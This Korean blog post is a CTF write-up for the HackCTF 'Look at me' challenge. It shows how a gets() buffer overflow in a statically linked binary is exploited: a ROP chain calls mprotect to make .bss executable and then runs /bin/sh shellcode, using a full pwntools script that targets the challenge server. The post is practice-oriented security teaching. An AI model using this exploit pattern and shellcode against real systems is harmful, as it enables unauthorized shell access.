HACKCTF - Look at me
2020. 8. 12. 12:08ㆍCTF's Write-up
lookatme라는 파일 하나를 받을 수 있고, 해당파일을 실행시키면
이렇게 He~~를 출력하고 입력 하나를 받습니다.
ida로 까보니 함수가 너무 많아서 확인해보니
statically linked 여서 대부분의 함수가 포함되어 있을것으로 예상됩니다.
다시 돌아가서 메인을 보면
gets에서 길이제한을 두지 않으니 이부분에서 취약점이 발생한다고 볼 수 있는데 직접 flag를 출력해주는 함수도 없고,
nx도 있으니, 스택에 직접 쉘코드를 입력하는것은 어렵고, bss에 /bin/sh를 넣고, 리턴을 변조해서 system으로 실행시키는 쪽으로 가려고 하였으나, system함수가 존재하지 않네요..
예전에 https://err0rless313.tistory.com/entry/mprotect-%ED%95%A8%EC%88%98-%EC%9D%B4%EC%9A%A9%ED%95%98%EC%97%AC-Exploit%ED%95%98%EA%B8%B0 사이트에서 해당함수를 통해 ex가 가능하단것을 본 적이 있어서 해당기억으로 mprotect_add 함수를 이용했습니다.
페이로드는 이렇게 짤 예정입니다.
1. gets로 bss에 "/bin/sh"를 넣는다.
2. mprotect 함수를 이용해서 bss를 실행시킨다.
3. 해당 링크의 주의할점을 참고하여 익스플로잇을 작성한다.
익스플로잇코드는 아래와 같습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3017)
e = ELF("./lookatme")
context.log_level = "debug"
gets_add = 0x804f120
mprotect_add = 0x806e0f0
pr = 0x08048480
pppr = 0x0806303b
bss = 0x080eaf80
bss_start = 0x080ea000
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80"
payload = "A"*0x18+"A"*0x4
payload += p32(gets_add)
payload += p32(pr)
payload += p32(bss)
payload += p32(mprotect_add)
payload += p32(pppr)
payload += p32(bss_start)
payload += p32(10000)
payload += p32(7)
payload += p32(bss)
r.recv()
r.sendline(payload)
r.sendline(shellcode)
r.interactive()
|
cs |
이를 실행하면
이렇게 flag를 획득할 수 있습니다.
'CTF's Write-up' 카테고리의 다른 글
HACKCTF - g++ pwn (0) | 2020.08.14 |
---|---|
HACKCTF - Classic Cipher -2 (0) | 2020.08.13 |
HACKCTF - AVR Programming (1) (0) | 2020.08.12 |
HACKCTF - 가위바위보 (0) | 2020.08.10 |
HackCTF - Classic Cipher -1 (0) | 2020.08.07 |